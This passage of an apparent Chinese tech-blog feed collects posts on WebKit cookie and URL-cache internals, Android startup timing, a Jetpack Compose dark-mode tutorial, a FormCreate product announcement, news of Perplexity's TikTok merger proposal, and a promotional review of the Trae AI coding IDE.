第 2 步其实不一定是两次 IPC,由于 WKHTTPCookieStore 的接口一次只能同步一个 Cookie(其实内部有批量同步能力只是未开放),所以随着 Cookie 量级增加耗时也会增加,而这个操作不会阻塞当前线程。

那么就有概率第 3 步先于第 2 步完成,导致 JS 代码无法实时读取到 Cookie,引发业务异常。

要解决这个问题方案其实挺多:

  1. 找到 APP 进程网络回包代理更早的时机同步,比如 Hook NSHTTPCookieStorage 插入逻辑;
  2. 注入 JS 脚本,主动去同步读取 APP 进程的 Cookie;
  3. 阻塞 APP 进程网络回包线程,根据公开接口,在 Cookie IPC 完成后返回;

考虑之下,还是方案 3 更加优雅,网络回包线程理论上都是在子线程,并且这里数次 IPC 耗时也是在几毫秒级别,算是可以接受的性能劣化范围。

by 波儿菜 at January 21, 2025 03:04 AM

oschina news industry

回顾 2024,蛇年福至,新春献礼,FormCreate + 重磅接入 AI,开启无限可能。

回顾2024 HAPPY NEW YEAR

回首 2024,FormCreate 设计器在广大用户的支持下,走过意义非凡的一年。版本的更迭、功能的优化,皆因您的信赖,在此衷心感谢!

商业版:持续进化,铸就卓越

2024 年,商业版稳健更新 15 次,其中 5 个大版本实现质的飞跃,深度满足您增长的业务需求。我们顺应移动办公趋势,发布移动端设计器,并适配 antdv,提升兼容性与美观度,为您打造便捷优质体验。

开源版:开源共享,携手共进

开源版同样成果丰硕,去年推出 9 个版本,还开源移动端设计器,愿与开发者共同探索,完善设计器,为行业发展添砖加瓦。

独具匠心:专属图标,点亮品牌

我们精心设计了 FormCreate 设计器专属原创图标,它们不仅是标识,更承载品牌精神,见证我们携手走过的历程。

渲染器:稳定升级,精益求精

作为核心的渲染器,2024 年约有 20 次版本更新,只为让表单渲染更稳定高效,呈现更流畅精准的效果。

2024 的突破成长,离不开大佬们的支持鼓励。未来,我们将砥砺前行,提供更多优质产品服务。再次感谢相伴,期待新一年共创辉煌!

设计器 v5.6 功能预告

(1) 新增 10 个图表组件
提供更丰富的可视化选项,包括折线图、柱状图、饼图、散点图、雷达图等,让数据呈现更直观、更具吸引力。(具体图表类型以最终发布版本为准)

 

(2) 新增 7 个辅助组件和 4 个表单组件

扩展组件库,新增的辅助组件例如标题、二维码、视频等,增强页面布局的灵活性;新增表单组件例如分段选择器、手写签名等,满足更多业务场景的数据录入需求。

 

(3) 增加快速布局功能

提供预设的4种表单布局方式,简化页面布局流程,快速构建专业美观的表单页面。

(4) 增加快速配置插槽功能

更便捷地自定义组件内容,实现更灵活的组件定制和扩展。通过可视化界面配置插槽内容,无需编写代码即可实现个性化定制。

(5) 增加快捷键支持

支持快速复制、粘贴、移动组件等常用操作,提升设计效率,让表单设计更流畅。

 

AI 魔法

展望 2025,科技创新的浪潮将席卷全球,而 AI 正是这股浪潮的引领者。人工智能将重塑各行各业,带来前所未有的变革。

FormCreate 设计器抢先迈入 AI 时代!我们深知效率和便捷性对用户的重要性,因此,我们正积极探索 AI 的无限可能。

想象一下:只需描述您的需求,AI 就能自动生成、修改完美的表单!无需繁琐的手动操作,告别复杂的配置,您只需专注于业务逻辑,剩下的交给 FormCreate 的 AI 智能引擎。我们计划在 2025 年将这个愿景变为现实(AI第一个版本将很快与大家见面),通过 AI 对话功能,让表单设计变得前所未有的简单和高效。

告别重复劳动,拥抱智能未来,敬请期待 FormCreate 的 AI 魔法!

值此新春佳节来临之际,FormCreate 设计器团队衷心祝愿大家新春快乐,蛇年吉祥!愿您在新的一年里,事业似鹏举万里,抟扶摇直上生活如繁花照眼,绽馥郁芳华!

by 原创 at January 21, 2025 03:02 AM

juejin ios

WebKit URL Cache 与网络拦截

Network 进程 URL Cache

是在 WKNetworkSessionDelegate 使用 NSURLSession 处理网络请求,没有实现其 URLSession:dataTask:willCacheResponse:completionHandler:代理,底层会默认写 NSURLCache 缓存。

也就是说网络请求的缓存会存在于 Networking 进程里面。

SchemeHandler 如何网络拦截

  • 调用 -[WKWebViewConfiguration -setURLSchemeHandler:forURLScheme:] 注入处理 http / https 的自定义 handler ;
  • Hook -[WKWebView handlesURLScheme:] 允许处理 http / https 的 scheme;
  • 在自定义 handler 里面实现网络请求并回传;

SchemeHandler 底层链路

SchemeHandler 存储链路

-[WKWebViewConfiguration -setURLSchemeHandler:forURLScheme:]
调用:
PageConfiguration::setURLSchemeHandlerForURLScheme
存储到这里:
HashMap<WTF::String, Ref<WebKit::WebURLSchemeHandler>> m_urlSchemeHandlers;

网络请求发起链路

有网络请求时会走到 SchemeHandler 的 -webView:startURLSchemeTask: 方法,由此在 WebKit 找到调用链路:

//WebContent 进程
DocumentLoader::loadMainResource
CachedResourceLoader::requestResource
CachedResource::load
… WebLoaderStrategy::loadResource
WebLoaderStrategy::tryLoadingUsingURLSchemeHandler
WebURLSchemeHandlerProxy::startNewTask
WebURLSchemeTaskProxy::startLoading
IPC: Messages::WebPageProxy::StartURLSchemeTask
//APP进程
WebPageProxy::startURLSchemeTask
WebPageProxy::startURLSchemeTaskShared
WebURLSchemeHandler::startTask
WebURLSchemeHandlerCocoa::platformStartTask
-[WKURLSchemeHandler webView:startURLSchemeTask:]

自定义 WKURLSchemeHandler 网络回包后回传链路

//APP 进程
-[WKURLSchemeTask didReceiveResponse:]
WebURLSchemeTask::didReceiveResponse
IPC: Messages::WebPage::URLSchemeTaskDidReceiveResponse
//WebContent 进程
WebPage::URLSchemeTaskDidReceiveResponse
WebURLSchemeHandlerProxy::taskDidReceiveResponse
WebURLSchemeTaskProxy::didReceiveResponse
ResourceLoader::didReceiveResponse
ResourceLoadNotifier::didReceiveResponse
DocumentLoader::addResponse

看起来没有传送到 Networking 进程。

Web 进程资源缓存

加载网页资源时会在 CachedResourceLoader 寻找是否有可用缓存:

DocumentLoader::loadMainResource
CachedResourceLoader::requestResource
CachedResourceLoader::determineRevalidationPolicy

若没有命中缓存会执行:

…CachedResourceLoader::loadResource(…) {
…
    auto resource = createResource(type, WTFMove(request), sessionID, &cookieJar, settings);
    if (resource->allowsCaching())
        memoryCache.add(*resource);
…
}

createResource(…)实际上就会返回继承 CachedResource 抽象类的资源对象,能缓存则存入 memoryCache,比如 CachedImage / CachedCSSStyleSheet / CachedScript / CachedSVGDocument,后续链路会发起网络请求。

WKURLSchemeHandler 与 CachedResourceLoader 交叉点

由上面的源码分析知,CachedResourceLoader 会先查找 memoryCache,不可用时调用CachedResource::load加载资源,后续会走到 SchemeHandler 处理链路。

SchemeHandler 资源数据是否利用到了 Web 进程资源缓存

对于服务器返回的 response 和不拦截情况没差异,但如果是客户端构建的 response 可能会有一些问题,最直观的就是响应 http header 可能不一致。

所以我们需要知道客户端构建 response 回传到 Web 进程使用与缓存后,第二次访问到是否还有效。

导致 CachedResourceLoader 的 memoryCache 失效原因很多,在最后一部分发现了端倪(有些资源不会走到这个链路,比如图片资源多半没这个判定):

… CachedResourceLoader::determineRevalidationPolicy(…) {
…
    auto revalidationDecision = existingResource->makeRevalidationDecision(cachePolicy);
    // Check if the cache headers requires us to revalidate (cache expiration for example).
    if (revalidationDecision != CachedResource::RevalidationDecision::No) {
        // See if the resource has usable ETag or Last-modified headers.
        if (existingResource->canUseCacheValidator()) {
            return Revalidate;
        }
        // No, must reload.
        return Reload;
    }
return Use;
}

一看就是对重用缓存的有效性判定,客户端构建不会加 ETag / Last-modified 所以不用管,也就是说只要 revalidationDecision 不是 No 就得 Reload,无法返回 Use 让上层直接复用。看下如何判定的:

CachedResource::RevalidationDecision CachedResource::makeRevalidationDecision(CachePolicy cachePolicy) const {
…
        if (m_response.cacheControlContainsNoCache())
            return RevalidationDecision::YesDueToNoCache;
        // FIXME: Cache-Control:no-store should prevent storing, not reuse.
        if (m_response.cacheControlContainsNoStore())
            return RevalidationDecision::YesDueToNoStore;
        if (isExpired())
            return RevalidationDecision::YesDueToExpired;
        return RevalidationDecision::No;
…
}

isExpired()实际上就是根据响应头判定资源是否过期,获取响应头新鲜度的代码是这样的:

Seconds computeFreshnessLifetimeForHTTPFamily(…) {
…
    // Freshness Lifetime:
    // http://tools.ietf.org/html/rfc7234#section-4.2.1
    auto maxAge = response.cacheControlMaxAge();
    if (maxAge)
        return *maxAge;

    auto date = response.date();
    auto effectiveDate = date.value_or(responseTime);
    if (auto expires = response.expires())
        return *expires - effectiveDate;

    // Implicit lifetime.
    switch (response.httpStatusCode()) {
    case 301: // Moved Permanently
    case 410: // Gone
        // These are semantically permanent and so get long implicit lifetime.
        return 24_h * 365;
    default:
        // Heuristic Freshness:
        // http://tools.ietf.org/html/rfc7234#section-4.2.2
        if (auto lastModified = response.lastModified())
            return (effectiveDate - *lastModified) * 0.1;
        return 0_us;
    }
}

逻辑很清晰,先后获取了多个响应头:Cache-Control : max-age、Expires、Date,后面是特殊响应状态码判定,返回值都是有效时间戳与 responseTime 的时间差。

可见,若想让 URL 资源可被 WebContent 进程复用,客户端构建 response 需要设置有效的 max-age 或 Expires 或 Last-Modified 响应头即可。

总结

对于+[WKBrowsingContextController registerSchemeForCustomProtocol:]拦截方案,它是向 Network 进程的 NSURLSession 注册 NSURLProtocol,对于客户端构建的响应包,同样会由 Network 进程传递到 Web 进程,走上面的 CachedResourceLoader 链路。

明确了有无 WebKit 网络拦截时网络请求和缓存的链路,这将在我们做优化决策时起到作用。

比如通过客户端构建网络回包的优化方向,包括离线包方案、自定义 URL Cache、Web 资源预请求、前端 link preload 等。

by 波儿菜 at January 21, 2025 02:53 AM

juejin android

Android 启动优化

Android 车载性能优化-启动优化

统计启动耗时统计

adb shell 命令

PS C:\Users\EDY> adb shell pidof com.autolink.launcher
2975
PS C:\Users\EDY> adb shell kill 2975
/system/bin/sh: kill: 2975: Operation not permitted
PS C:\Users\EDY> adb root
restarting adbd as root
PS C:\Users\EDY> adb shell kill 2975
PS C:\Users\EDY> adb shell am start -W com.autolink.launcher/com.autolink.launcher.MainActivity
Starting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.autolink.launcher/.MainActivity }
Status: ok
LaunchState: WARM
Activity: com.autolink.launcher/.MainActivity
TotalTime: 3098
WaitTime: 3101
Complete
PS C:\Users\EDY>

需要关注的数据为 TotalTime WaitTime

  • TotalTime 所有 Activity 启动耗时
  • WaitTime AMS 启动 Activity 的耗时

adb 命令只能线下使用,不能带到线上,获取的耗时并非严谨精确

手动打点

// 在 attachBaseContext 中记录开始时间
    override fun attachBaseContext(base: Context?) {
        super.attachBaseContext(base)
        LauncherTime.startTime()
    }
// 在 MainActivity 中的 onWindowFocusChanged 中记录结束时间
    override fun onWindowFocusChanged(hasFocus: Boolean) {
        super.onWindowFocusChanged(hasFocus)
        LauncherTime.endTime("onWindowFocusChanged")
    }

结束时间,更准确的地方应该是 Feed 的第一帧 addOnDrawListener,这个值比在 onWindowFocusChanged要大,为了方便就在 onWindowFocusChanged中记录结束时间

花费时间为 onWindowFocusChanged costTime = 3494

  • 埋点方式获取的数据比 adb 要准确
  • 埋点方式可以在线上使用

工具选择 traceView & profile

traceview

Debug.startMethodTracing("App") Debug.stopMethodTracing() 生成文件在 sd 卡:Android/data/packagename/files

方式一:Executors.newFixedThreadPool

正常在 Application 中初始化

        NaviApplication.onCreate(this)
        CarSdkManager.init(this)
        CarHelper.init(this)
        UserLockHelper.init(this)
        MMKV.initialize(this)

耗时为 :APP onCreate costTime = 305

采用 Executors 后时间为

    // 根据机型核数来确定线程池大小
    val count = Runtime.getRuntime().availableProcessors()
    val corePoolSize = 2.coerceAtLeast((count - 1).coerceAtMost(4))

     val execute = Executors.newFixedThreadPool(corePoolSize)
     execute.submit { NaviApplication.onCreate(this) }
     execute.submit { CarSdkManager.init(this) }
     execute.submit { CarHelper.init(this) }
     execute.submit { UserLockHelper.init(this) }
     execute.submit { MMKV.initialize(this) }

耗时为 :APP onCreate costTime = 50

Q:以上初始化放到一个 submit 中是否可行?

A:如果放到一个 submit 中,就只使用了一个线程去完成异步任务,其余的线程闲置。

方式二:利用 CountDownLatch 控制初始化


        val countDownLatch = CountDownLatch(1)
        execute.submit {
            MMKV.initialize(this)
            countDownLatch.countDown()
        }

        // 保证 MMkv 初始化完成
        countDownLatch.await()

by BoomHe at January 21, 2025 02:50 AM

Android 笔记 App5:实现夜间模式支持和切换

在 Android 应用中使用 androidx.compose.ui 框架实现夜间模式支持,可以通过以下步骤完成。我们将实现以下功能:

  1. 默认跟随系统:应用的主题模式自动跟随系统的夜间模式设置。
  2. 手动切换:用户可以在应用中手动切换夜间模式和日间模式。

1. 添加依赖项

确保你的项目中已经添加了 Compose 和 Material Design 的依赖项:

androidx.compose.ui:ui
androidx.compose.material3:material3
androidx.datastore:datastore-preferences
androidx.compose.runtime:runtime-livedata
androidx.lifecycle:lifecycle-viewmodel-compose

2. 定义主题模式

创建一个 ThemeMode 枚举类来表示应用的主题模式:

// ThemeMode.kt
package com.nemo.notes.ui.theme  
  
enum class ThemeMode {  
    LIGHT, // 日间模式  
    DARK,  // 夜间模式  
    SYSTEM // 跟随系统  
}

创建主题配置,

package com.nemo.notes.ui.theme  
  
import androidx.compose.foundation.isSystemInDarkTheme  
import androidx.compose.material3.MaterialTheme  
import androidx.compose.material3.darkColorScheme  
import androidx.compose.material3.lightColorScheme  
import androidx.compose.runtime.Composable  
import androidx.compose.material3.Typography  
import androidx.compose.runtime.collectAsState  
import androidx.compose.runtime.getValue  
import androidx.compose.ui.text.TextStyle  
import androidx.compose.ui.text.font.FontFamily  
import androidx.compose.ui.text.font.FontWeight  
import androidx.compose.ui.unit.sp  
import com.nemo.notes.viewmodel.ThemeViewModel  
  
// 颜色定义, 用于暗色主题  
private val DarkColorScheme = darkColorScheme(  
    primary = Purple80,  
    secondary = PurpleGrey80,  
    tertiary = Pink80  
)  
  
// 颜色定义, 用于浅色主题,  
private val LightColorScheme = lightColorScheme(  
    primary = Purple40,  
    secondary = PurpleGrey40,  
    tertiary = Pink40  
)  
  
// 其他颜色定义  
private val typography = Typography(  
    bodyLarge = TextStyle(  
        fontFamily = FontFamily.Default,  
        fontWeight = FontWeight.Normal,  
        fontSize = 16.sp,  
        lineHeight = 24.sp,  
        letterSpacing = 0.5.sp  
    ),  
    // 其他样式定义  
)  
  
// 主题定义, 用于设置主题, 颜色, 字体等  
// 用于整个应用, 通过MaterialTheme使用  
// 传入darkTheme参数, 用于判断当前主题  
@Composable  
fun NotesAppTheme(  
    themeViewModel: ThemeViewModel,  
    content: @Composable () -> Unit  
) {  
    val themeMode by themeViewModel.themeMode.collectAsState()  
  
    val isDarkTheme = when (themeMode) {  
        ThemeMode.LIGHT -> false  
        ThemeMode.DARK -> true  
        ThemeMode.SYSTEM -> isSystemInDarkTheme()  
    }  
  
    MaterialTheme(  
        colorScheme = if (isDarkTheme) DarkColorScheme else LightColorScheme,  
        content = content  
    )  
}

3. 创建 ViewModel

创建一个 ThemeViewModel,用于管理应用的主题模式状态。并设置初始状态跟随系统

  1. ThemePreference 中:

    • 添加了 initializeTheme() 方法来确保首次启动时设置为系统主题
  2. ThemeViewModel 中:

    • 初始化时调用 initializeTheme()
    • stateIninitialValue 设置为 ThemeMode.SYSTEM
  3. MainActivity 中:

    • 添加了 Surface 组件来确保正确应用主题背景色

这些确保了:

  • 首次安装后默认跟随系统主题,应用首次启动时默认使用系统主题
  • 在后续启动时使用了用户的保存的主题
  • 如果出现任何问题,即数据存储出现问题,会默认使用系统主题
  • 主题设置的持久化和恢复都能正常工作
  • 整个应用界面都能正确响应主题变化
// ThemeViewModel.kt
package com.nemo.notes.viewmodel  
  
import androidx.lifecycle.ViewModel  
import androidx.lifecycle.viewModelScope  
import com.nemo.notes.repository.ThemePreference  
import com.nemo.notes.ui.theme.ThemeMode  
import kotlinx.coroutines.flow.SharingStarted  
import kotlinx.coroutines.flow.StateFlow  
import kotlinx.coroutines.flow.stateIn  
import kotlinx.coroutines.launch  
  
class ThemeViewModel(  
    private val themePreference: ThemePreference  
) : ViewModel() {  
  
    init {  
        // 在 ViewModel 初始化时确保主题被初始化  
        viewModelScope.launch {  
            themePreference.initializeTheme()  
        }  
    }  
  
    val themeMode: StateFlow<ThemeMode> = themePreference.themeMode  
        .stateIn(  
            scope = viewModelScope,  
            started = SharingStarted.WhileSubscribed(5000),  
            initialValue = ThemeMode.SYSTEM  // 设置初始值为 SYSTEM        )  
  
    fun setThemeMode(mode: ThemeMode) {  
        viewModelScope.launch {  
            themePreference.setThemeMode(mode)  
        }  
    }  
}

创建主题设置类ThemePreference, 用于管理主题设置。

package com.nemo.notes.repository  
  
import android.content.Context  
import androidx.datastore.preferences.core.edit  
import androidx.datastore.preferences.core.stringPreferencesKey  
import androidx.datastore.preferences.preferencesDataStore  
import com.nemo.notes.ui.theme.ThemeMode  
import kotlinx.coroutines.flow.Flow  
import kotlinx.coroutines.flow.map  
  
// 创建 ThemePreference 类, 用于管理主题设置  
private val Context.dataStore by preferencesDataStore(name = "theme_settings")  
  
/**  
 * 主题设置类, 用于管理主题设置,  
 * 包括获取和设置主题模式, 初始化主题设置  
 *  
 * @property context Context  
 * @constructor 创建 ThemePreference 实例  
 */  
class ThemePreference(private val context: Context) {  
    // 创建主题设置的 key, 用于存储主题设置  
    private val themeKey = stringPreferencesKey("theme_mode")  
  
    // 获取主题模式,默认返回 SYSTEM    val themeMode: Flow<ThemeMode> = context.dataStore.data.map { preferences ->  
        try {  
            preferences[themeKey]?.let { ThemeMode.valueOf(it) } ?: ThemeMode.SYSTEM  
        } catch (e: Exception) {  
            ThemeMode.SYSTEM  
        }  
    }  
  
    // 设置主题模式  
    suspend fun setThemeMode(mode: ThemeMode) {  
        context.dataStore.edit { preferences ->  
            preferences[themeKey] = mode.name  
        }  
    }  
  
    // 添加初始化方法,如果没有设置则默认设置为 SYSTEM    suspend fun initializeTheme() {  
        context.dataStore.edit { preferences ->  
            if (!preferences.contains(themeKey)) {  
                preferences[themeKey] = ThemeMode.SYSTEM.name  
            }  
        }  
    }  
}

4. 监听系统夜间模式

Activity 中监听系统的夜间模式设置,并更新 ThemeViewModel 的状态。

package com.nemo.notes.ui  
  
import android.annotation.SuppressLint  
import android.os.Bundle  
import androidx.activity.ComponentActivity  
import androidx.activity.compose.setContent  
import androidx.compose.foundation.isSystemInDarkTheme  
import androidx.compose.foundation.layout.fillMaxSize  
import androidx.compose.material3.MaterialTheme  
import androidx.compose.material3.Surface  
import androidx.compose.ui.Modifier  
import androidx.hilt.navigation.compose.hiltViewModel  
import androidx.lifecycle.viewmodel.compose.viewModel  
import androidx.navigation.compose.NavHost  
import androidx.navigation.compose.composable  
import androidx.navigation.compose.rememberNavController  
import com.nemo.notes.repository.ThemePreference  
import com.nemo.notes.ui.theme.NotesAppTheme  
import com.nemo.notes.viewmodel.NoteViewModel  
import com.nemo.notes.viewmodel.ThemeViewModel  
import dagger.hilt.android.AndroidEntryPoint  
  
@AndroidEntryPoint  
class MainActivity : ComponentActivity() {  
    @SuppressLint("UnrememberedMutableState", "StateFlowValueCalledInComposition")  
    override fun onCreate(savedInstanceState: Bundle?) {  
        super.onCreate(savedInstanceState)  
        val themePreference = ThemePreference(this)  
  
        setContent {  
            // 主题设置 ViewModel            val themeViewModel: ThemeViewModel = viewModel { ThemeViewModel(themePreference) }  
            // 是否为暗色主题  
            var isDarkTheme = isSystemInDarkTheme()  
  
            // 主题设置  
            NotesAppTheme(themeViewModel) {  
                // 使用 Surface 确保整个应用使用正确的背景色  
                Surface(  
                    modifier = Modifier.fillMaxSize(),  
                    color = MaterialTheme.colorScheme.background  
                ) {  
                    // 创建导航控制器  
                    val navController = rememberNavController()  
                    val viewModel: NoteViewModel = hiltViewModel()  
  
                    // 设置导航控制器  
                    NavHost(navController = navController, startDestination = "noteList") {  
                        // 定义 noteList 跳转页  
                        composable("noteList") {  
                            NoteListScreen(  
                                navController, viewModel, isDarkTheme,  
                                onThemeChange = {  
                                    // 切换主题  
                                    isDarkTheme = it  
                                    themeViewModel.setThemeMode(  
                                        if (it) com.nemo.notes.ui.theme.ThemeMode.DARK else com.nemo.notes.ui.theme.ThemeMode.LIGHT  
                                    )  
                                }  
                            )  
                        }  
                        // 定义 noteEdit 跳转页  
                        composable("noteEdit/{noteId}") { backStackEntry ->  
                            val noteId =  
                                backStackEntry.arguments?.getString("noteId")?.toLongOrNull()  
                            NoteEditScreen(navController, viewModel, noteId)  
                        }  
                    }  
                }  
            }        
        }  
    }  
}

5. 实现主题切换

NoteListScreen 中添加一个主题切换的按钮,实现主题切换功能,并根据 ThemeViewModel 的状态应用对应的主题。

package com.nemo.notes.ui  
  
import androidx.compose.foundation.layout.Arrangement  
import androidx.compose.foundation.layout.Column  
import androidx.compose.foundation.layout.Row  
import androidx.compose.foundation.layout.Spacer  
import androidx.compose.foundation.layout.fillMaxWidth  
import androidx.compose.foundation.layout.height  
import androidx.compose.foundation.layout.padding  
import androidx.compose.foundation.lazy.LazyColumn  
import androidx.compose.foundation.lazy.items  
import androidx.compose.material.icons.Icons  
import androidx.compose.material.icons.filled.DarkMode  
import androidx.compose.material.icons.filled.LightMode  
import androidx.compose.material3.Button  
import androidx.compose.material3.Card  
import androidx.compose.material3.Icon  
import androidx.compose.material3.IconButton  
import androidx.compose.material3.MaterialTheme  
import androidx.compose.material3.Text  
import androidx.compose.material3.TextField  
import androidx.compose.runtime.Composable  
import androidx.compose.runtime.collectAsState  
import androidx.compose.runtime.getValue  
import androidx.compose.runtime.mutableStateOf  
import androidx.compose.runtime.remember  
import androidx.compose.runtime.setValue  
import androidx.compose.ui.Modifier  
import androidx.compose.ui.unit.dp  
import androidx.navigation.NavHostController  
import com.nemo.notes.viewmodel.NoteViewModel  
  
/**  
 * 笔记列表界面  
 * @param navController 导航控制器  
 * @param viewModel 笔记ViewModel  
 * @param isDarkTheme 是否为暗色主题  
 * @param onThemeChange 切换主题回调  
 *  
 */@Composable  
fun NoteListScreen(  
    navController: NavHostController,  
    viewModel: NoteViewModel,  
    isDarkTheme: Boolean,  
    onThemeChange: (Boolean) -> Unit  
) {  
    // 收集所有笔记的状态  
    val notes by viewModel.filteredNotes.collectAsState(initial = emptyList())  
  
    // 新增搜索字段  
    var searchQuery by remember { mutableStateOf("") }  
  
    Column(modifier = Modifier.padding(16.dp)) {  
        // 搜索框  
        TextField(  
            value = searchQuery,  
            onValueChange = {  
                searchQuery = it  
                viewModel.setSearchQuery(it)  
            },  
            label = { Text("Search") },  
            modifier = Modifier.fillMaxWidth()  
        )  
        // 添加间距  
        Spacer(modifier = Modifier.height(16.dp))  
        Row(modifier = Modifier.fillMaxWidth(), horizontalArrangement = Arrangement.SpaceBetween) {  
            // 显示标题  
            Text(text = "My Notes", style = MaterialTheme.typography.headlineMedium)  
            // 添加切换主题按钮  
            IconButton(onClick = { onThemeChange(!isDarkTheme) }) {  
                Icon(  
                    // 根据主题显示不同图标  
                    imageVector = if (isDarkTheme) Icons.Default.DarkMode else Icons.Default.LightMode,  
                    contentDescription = "Toggle Theme"  
                )  
            }  
        }        // 显示笔记列表  
        LazyColumn {  
            items(notes) { note ->  
                // 每个笔记项使用 Card 显示  
                Card(  
                    onClick = { navController.navigate("noteEdit/${note.id}") },  
                    modifier = Modifier.padding(8.dp)  
                ) {  
                    Column(modifier = Modifier.padding(16.dp)) {  
                        // 显示笔记标题  
                        Text(text = note.title, style = MaterialTheme.typography.titleMedium)  
                        // 显示笔记内容  
                        Text(text = note.content, style = MaterialTheme.typography.bodyMedium)  
                        // 显示笔记标签  
                        if (note.tags.isNotEmpty()) {  
                            Text(  
                                text = "Tags: ${note.tags.joinToString(", ")}",  
                                style = MaterialTheme.typography.bodySmall  
                            )  
                        }  
                    }  
                }            }        }        // 添加间距  
        Spacer(modifier = Modifier.height(16.dp))  
        // 添加新笔记按钮  
        Button(  
            onClick = { navController.navigate("noteEdit/null") },  
            modifier = Modifier.fillMaxWidth()  
        ) {  
            Text("Add New Note")  
        }  
    }
}

6. 测试

  1. 默认跟随系统:确保应用的主题模式与系统的夜间模式设置一致。
  2. 手动切换:点击按钮切换主题模式,验证应用的主题是否正确更新。
Screenshot_20250121_102653_NotesApp.jpg Screenshot_20250121_102708_NotesApp.jpg ---

通过以上步骤,我们实现了基于 androidx.compose.ui 框架的夜间模式支持,包括默认跟随系统和手动切换功能。你可以根据实际需求进一步优化和扩展此功能。

这个实现方案具有以下特点:

  1. 使用 DataStore 持久化存储主题设置
  2. 使用 ViewModel 管理主题状态
  3. 支持系统主题跟随、浅色模式和深色模式
  4. 使用 Material3 主题系统
  5. 主题切换即时生效,无需重启应用

by NemoNemo at January 21, 2025 02:45 AM

oschina news industry

美国 AI 初创企业 Perplexity 寻求与 TikTok 合并

在短暂停止服务后,短视频社交媒体平台TikTok19日恢复在美国的服务。美国总统特朗普20日签署行政令,要求TikTok“不卖就禁用”法律在未来75天内暂不执行。

有消息称,在18日早些时候,TikTok暂停服务前,美国人工智能初创公司Perplexity向TikTok母公司字节跳动提交了一份收购提案。据美国财经门户网站Investor’s Business Daily报道,该提案提出将Perplexity、TikTok美国以及新的资本合作伙伴合并成一个新实体。此合并方案允许字节跳动的大多数现有投资者保留股权。

Perplexity成立于2022年,是由AI 聊天机器人驱动的研究和对话搜索引擎,被称为生成性AI热潮中最有价值的年轻AI初创公司之一。该公司的早期投资者包括亚马逊创始人和新任CEO杰夫·贝索斯(Jeffrey Bezos)、Nvidia( NVDA )和风险投资公司New Enterprise Associates。

在最新一轮融资后,Perplexity估值为90亿美元。Wedbush分析师Daniel Ives在一封电子邮件中对Investor’s Business Daily表示,“我们认为对Perplexity的收购无望,因其内在价值太低,不可能达成400多亿美元的交易。在TikTok竞争激烈的竞标过程中,马斯克是领先者。”

此前,TikTok已否认或将美国业务出售给马斯克,称未与马斯克方面谈过潜在的出售交易,且没有与中国监管层讨论过所谓出售的方案。马斯克现已成为特朗普的重要顾问,拥有社交媒体平台X,和杰夫·贝索斯(Jeff Bezos)是长期竞争对手。

此外,Perplexity的竞争者虎视眈眈。初创公司OpenAI的ChatGPT功能与Perplexity相似,同样是通过访问网络搜集信息,进行总结、整合、输出答案。OpenAI近期获得66亿美元的新融资,估值达到1570亿美元。谷歌股价在2025年上涨了3.5%,去年上涨了37%,有了TikTok,Perplexity可能会成为Alphabet(GOOGL)更强大的竞争对手。

by 来源: OSCHINA at January 21, 2025 02:44 AM

juejin freebie

兄弟们炸裂了!字节又又又出了一款*免费*AI辅助编程工具

——产品经理也能写代码,程序员岗位要消失了吗?

最近AI行业真是“卷”到飞起。国外的 ChatGPT、国内的各种大模型层出不穷,连字节跳动都没闲着:这次他们又搞出了个名为 Trae 的 AI 编程工具!要知道,字节跳动在 AI 上的投入一向舍得烧钱,他们甚至把热门大模型 Claude-3.5 以及 OpenAIGPT-4o 都免费开放给大家使用。看到这,你是不是和我一样心里冒出一个大大的疑问: “这玩意儿是不是要抢程序员饭碗了?”

从管理岗到敲代码,产品经理也能拿下?

很多朋友听到 AI 辅助编程第一反应都是:

“哇,这样的话,我也能轻松搞定代码了吗?”

别说产品经理,就算是零基础的新手开发者,也能通过 AI 一步步生成项目脚手架,甚至完成复杂功能。原来需要程序员专门写的那些繁琐业务代码,现在有可能一条指令就生成了。那么,程序员是不是就此被“取代”了? 先别急,我们一步步来看看 Trae 的具体功能再下结论。


Trae 到底是什么?

Trae 的定位是一款 AI 驱动的编程集成开发环境(IDE) ,从它的界面和操作方式来看,很像深度定制版的 VS Code。它主打以下几大功能:

  1. AI 问答(聊天模式)
    在代码编辑器里直接调出对话框,让 AI 帮你解答问题、生成代码片段等,但生成的代码不会自动写入,需要你手动应用。
  2. 构建模式(Agent / Builder 模式)
    一键生成项目模板,随意添加功能;改动文件也会自动保存。对新手非常友好,完全可以实现“零手动敲代码”就生成一个基础项目。
  3. 内联聊天
    无需切换到外部窗口,通过快捷键一呼唤,AI 就能在当前编辑区对你的代码进行深入分析、调试和建议。
  4. 代码补全
    基于大语言模型的智能补全,比传统 IDE 的补全更智能,可以结合当前项目上下文给出更符合逻辑的推荐。
  5. 多大模型免费用
    Trae 目前免费支持 Claude-3.5、GPT-4o 等大模型,算力和数据都十分给力。

亲测体验:安装、上手超轻松

  1. 一键下载
    只需访问 Trae.ai 官网 点击下载按钮。目前仅支持 Mac,其他平台暂时还没上线。
  2. 中文界面、VS Code 配置一键导入
    如果你用惯了 VS Code,别担心换环境麻烦,Trae 直接支持从 VS Code、Cursor 导入配置。主题、语言都可以一键设置中文。
  3. 账号登录
    登录方式也很灵活,Google 或 Github 都能直接上手。

整个过程下来,你会发现基本就是一个“AI 加持版”的 VS Code。界面操作和大家常见的编辑器没啥本质区别,新手也能很快习惯。


实战演示:五分钟搞定一个 Todo List

为了测试 Trae 的 AI 功能,我让它用 React + Vite 技术栈直接生成一个 Todo List。从拉起项目、生成基本的文件结构、编写功能逻辑,到最终在浏览器中看到成品页面,我全程没手动写一行代码

  • 一键生成项目:在 Builder 模式下,输入“创建一个 React + Vite 的 Todo List”,Trae 就直接给我搭了框架。
  • 实现功能:我继续让它生成增删改查的逻辑与 UI,Trae 直接写好了对应的组件和状态管理代码。
  • 运行调试:遇到终端错误也没关系,只要选择“一键添加到对话框”,AI 就能精准定位问题并给出修复建议。

小陷阱: 我试过让 Trae 用 Next.js 技术栈,结果 Demo 频频失败,可能 Next.js 兼容还不够完善。这算是帮大家提前踩了个坑。


Trae.ai 还能做什么?

其实,Trae.ai 不只是个“抄代码”工具,它内部的 AI 在项目上下文理解、实时错误检测、文档引用等方面也很强。概括来说,Trae.ai 有以下妙用:

  1. 代码自动生成与编辑
    只要在聊天框里输入“生成一个用户登录表单的代码”,Trae.ai 就能给出 HTML 与 JavaScript,并附带一些交互逻辑建议。
  2. 实时错误检测与修复
    当代码里有 bug,或者运行时冒出错误,Trae.ai 会帮你分析并给出修复建议,类似“自动调试”功能。
  3. 交互式调试
